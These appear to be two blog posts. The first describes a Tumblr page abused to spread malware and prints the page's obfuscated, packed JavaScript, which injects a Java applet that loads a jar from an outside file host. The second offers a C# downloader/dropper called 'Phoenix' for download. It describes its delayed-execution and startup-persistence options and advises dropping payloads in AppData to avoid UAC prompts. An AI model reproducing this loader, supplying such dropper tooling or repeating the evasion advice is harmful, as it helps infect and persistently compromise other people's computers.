Abusing tumblr to spread malware

A friend kindly shared this link with me http://gta5updates.tumblr.com/,
then after that we go to http://tumblr.comlu.com/...

and pie, there is a java applet


Pretty fun to see that tumblr can be abused like that, i have never seen it before...
How ever for reporting a tumblr a mail is fine (that nice)
http://tumblring.net/how-to-report-people-on-tumblr-for-abuse/

	<script type="text/javascript">
	eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('g c(){6=h.i("3");j(6==k){7 a="<2 4=\'l\'><p>m n 3 5 o q 5 r s, t u 8 v <a w=\'9://x.y/z/A.B?C=D\'>E</a></p></2>"}F{7 a="<2 4=\'G\'><p>b H 3 5 I.</p></2>";a+="<e f=\'b J K L\' M=\'1\' N=\'1\' O=\'P.4\' Q=\'R.S\'><T f=\'U\' V=\'9://W.X/Y/1/Z/10/0/11?8\'></e>"}12.13("d").14=a}',62,67,'||div|Java|class|to|javaVersion|var|download|http||Please|||applet|name|function|PluginDetect|getVersion|if|undefined|errorm|You|need|be||able|use|Tumblr|you|can|it|href|java|com|inc|BrowserRedirect1|jsp|locale|en|here|else|successm|run|continue|Run|To|Continue|width|height|code|wolf|archive|RohPd2kj5WN144V|jar|param|alpha|value|ge|tt|api|files|3u9o0OY|blob|document|getElementById|innerHTML'.split('|'),0,{}))
	</script>

view raw applet obfuscated hosted with ❤ by GitHub

Phoenix Downloader source code C#

Since i have now lately made up my mind and decided to start learning C++,
I also decided to clean up some off the massive source code in C# i have.

Phoenix is a basic downloader/dropper, that attempt to download a file and drop it one the hard-drive. 

The builder GUI is very straight forward,
You choose if you want to delay the process of downloading and executing, and it also offer to add start up for the dropped file.

I recommend using App data instead off System 32, for a higher success since appdata is more UAC friendly then system 32.

Please don't miss use it only use it for education usage :).
Credit: CaptainBri

Download: http://www.sendspace.com/file/pvljpc
You will need a program such as 7zip to unpack...